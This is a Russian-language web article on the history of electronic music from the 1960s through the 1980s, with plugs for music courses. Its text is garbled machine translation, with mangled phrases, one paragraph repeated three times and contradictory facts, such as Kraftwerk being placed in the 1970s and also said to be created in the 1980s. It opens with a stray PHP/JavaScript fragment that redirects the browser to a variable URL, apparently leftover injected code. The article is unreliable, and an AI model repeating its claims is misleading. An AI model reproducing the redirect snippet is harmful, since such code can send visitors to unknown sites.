window.location = \"$z_out\";";} ?>

Электронная музыка

Электронная музыкаЭлектронная музыка — это музыка, в которой используются электронные музыкальные инструменты, цифровые инструменты и музыкальные технологии на основе схем. Электронный музыкант будучи музыкантом, который сочиняет и / или выполняет такую музыку. В общем, можно различать звук, создаваемый с использованием электромеханических средств, таких как скрипки и барабаны, и которые производятся с использованием электронной технологии.

Электромеханические инструменты включают в себя механические элементы, такие как струны, молотки и т. Д., А также электрические элементы, такие как магнитные датчики, усилители мощностей громкоговорители. Примерами электромеханических устройств для создания звука являются на теле гармоний, орган Армонда и электрогитара, которые обычно достаточно громко звучат для исполнителей и зрителей, чтобы слышать с помощью инструментального усилителя и громкоговорителя. Чисто электронные приборы не имеют вибрационных струн, молотков или других звуковоспроизводящих механизмов.

Электронные звуки инструмента могут быть достигнуты с использованием таких устройств, как, синтезатор звука и компьютер. Которые обычно делаются достаточно громкими для прослушивания исполнителей и зрителей с помощью инструментального усилителя и громкоговорителя. Чисто электронные приборы не имеют вибрационных струн, молотков или других звуковоспроизводящих механизмов. Электронные звуки инструмента могут быть достигнуты с использованием таких устройств, как синтезатор звука и компьютер. Которые обычно делаются достаточно громкими для прослушивания исполнителей и зрителей с помощью инструментального усилителя и громкоговорителя. Чисто электронные приборы не имеют вибрационных струн, молотков или других звуковоспроизводящих механизмов. Электронные звуки инструмента могут быть достигнуты с использованием таких устройств, как, синтезатор звука и компьютер.

История электронной музыки: с 1970-х годов до сегодняшнего дня

От dubstep до дискотеки электронная музыка — это широкая категория современной музыки, Электронная музыкакоторая включает в себя множество стилей. В то время как большинство людей думают об электронной музыке как о продукте 21- голяка, реальность такова, что электронная музыка существует почти 50 лет.
От знаменитых синтезаторов Могоча прогрессив рока до вождения гимнов Kraftwerk и Giorgio Moroder, читайте и изучайте историю электронной музыки, с начала 1970-х годов до доступа, транса и суперзвезд дома.
Вы новичок в электронной музыке? Изучите основы транса, дома, техно и многое другое, зачислив курс « Введение в электронную музыку». От MIDI до циклов этот углубленный курс охватывает основы того, как создается электронная музыка.

Происхождение электронной музыки

Подумайте о ранней электронной музыке, и вы, вероятно, представите дискотеки в конце 1970-х и начале 1980-х годов. Хотя электронная музыка не стала популярной до середины 1970-х годов, художники использовали электронные инструменты еще в 1960-х годах.
Прогрессивные рок-группы, такие как Pink Floyd, сделали культовый синтезатор Moog одним из самых важных аспектов их звучания. Поп рок-группы, такие как The Beatles, также начали включать в свои экспериментальные песни клавиатуры и синтезаторы.
В то же время, композиторы использовали новые инструменты, такие как Термин в своей работе, особенно в кино индустрии. Коммерческий синтезатор Moog, выпущенный в середине 1960-х годов, считается первым знаковым инструментом электронной музыки.

Synthpop и Disco: 1970-е годы

Электронная музыкаХотя электронные инструменты использовались в 1960-х годах, это было только в 1970-х годах, когда электронная музыка вошла в мейнстрим. Такие группы, как Kraftwerk — знаковая западногерманская группа, представили электронный звук более широкой аудитории.
Созданный в 1980-х годах, Kraftwerk сочетал ритмы вождения таких групп, как Led Zeppelin и Deep Purple, с футуристическими звуками синтезатора Moog и вокодера. В 1970-х годах их интересный новый звук повлиял на самых разных музыкантов и создал основы для электронной музыкальной сцены.
Когда Kraftwerk представила электронную музыку в музыкальной сцене 1970-х годов, вскоре последовали другие артисты. Джорджи Мародер, теперь известный своим участием в Daft Punk, использовал электронные инструменты, чтобы извлечь выгоду из растущего музыкального направления диско.
Moroder сотрудничал с ведущими артистами, чтобы довести электронную музыку до новой аудитории, создавая треки для Donna Summer, David Bowie и многое другое. Его использование синтезаторов внесло электронный звук в музыкальный мейнстрим.


Несмотря на то, что в 1970-е годы популярность электронной музыки становилась все более популярной, большинство электронных треков все еще использовало структуру поп музыки или рок-н-ролла. Только в 1980-х годах синтетические, танцевальные и другие жанры появлялись сами по себе.
Хотели бы вы изучить основы музыкальной композиции? Зайдите на наш курс «Основные понятия музыки», чтобы изучить навыки музыкальной теории, которые сделали таких ранних новичков электронной музыки, как Джорджи Мародер, настолько талантливыми.
Возможно, самым заметным примером электронной музыки 1970-х годов является тема для фильма Midnight Express, забитого Джорджо Мародёром. Трек, известный как Chase, стал одним из первых электронных треков, которые достигли No 33 в Billboard Hot 100.

Синтетическая эра: 1980-е годы

Подумайте о synthpop, и вы, вероятно, подумаете о 1980-х годах. Эпоха блеска, гламура и избыткаЭлектронная музыка была отличным временем для электронной музыки, с новыми стилями, такими как synthpop и house, а также новыми технологиями, такими как MIDI.
Многие из самых популярных современных музыкальных стилей, таких как дом и транс, являются продуктом синтезатор ной музыки 1980-х годов. Клубная сцена 1980-х годов сделала новые волны, пост диско и синкопы известными стилями и принесла электронную музыку в мейнстрим.
Такие группы, как A-ha, Pet Shop Boys и Depeche Mode, объединили структуру рок-музыка с новыми звуками, созданными MIDI. Даже группы, такие как The Sisters of Mercy, обнимали электронную музыку, используя эффекты и драм машины для создания новых форм музыки, таких как темная волна и альтернативный танец.
К концу 1980-х группа, подобная Orbital, создала основы для жанров танцевальной музыки, таких как trance и techno. Растущая популярность домашних компьютеров, таких как Atari ST, представила технологии широкой аудитории производителей.
Вы хотите создать классическую электронную танцевальную музыку, используя те же методы, что и знаковые художники 1980-х и 1990-х годов? Освоение Synth / Electro Pop Music имеет отличные учебные пособия о том, как объединить аналоговые звуки с цифровой композицией, чтобы создать незабываемую электро поп музыку.